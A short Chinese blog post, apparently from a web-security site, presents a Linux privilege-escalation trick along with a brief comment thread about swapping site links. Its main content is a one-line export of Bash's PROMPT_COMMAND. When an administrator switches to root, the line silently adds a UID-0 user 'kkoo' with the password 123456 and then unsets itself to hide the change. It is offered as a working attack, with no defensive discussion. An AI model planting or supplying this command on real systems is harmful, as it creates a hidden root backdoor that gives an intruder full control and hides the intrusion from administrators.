暖月
专注WEB、Linux及数据库应用安全
«
»
2009-12
22
发表于: Vulnerability order | 漏洞整理 | 来源: 饭'S 博客
标签:

文/xi4oyu

要利用成功的话，还得看管理员的习惯，是否喜欢用su切换成root
BASH的环境变量
$PROMPT_COMMAND
这个变量保存了在主提示符$PS1显示之前需要执行的命令:

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo kkoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

alt=

: http://www.nuanyue.com/linux%e7%9a%84bash%e6%8f%90%e6%9d%83.html

本文相关评论 - 才 3 条评论
RSS for this comments | Trackback URI
( 展开所有评论 | 收起所有评论 ) 立刻发表评论 »
xi4oyu
2010-06-07 23:40:01

呵呵，很多人都不知道这个怎么用呢！新开的站，能否加个友情链接？http://www.pentestday.com

回复他(她)
饭
2010-06-08 09:23:30

OK，已经添加了，标题叫pentestday吗？暖月 http://www.nuanyue.com

回复他(她)
xi4oyu
2010-06-08 11:58:02

是的，贵站的也加好了，呵呵

回复他(她)
«
»
Powered by WordPress 3.0.1 - 饭的博客 by Fan - 5.05 秒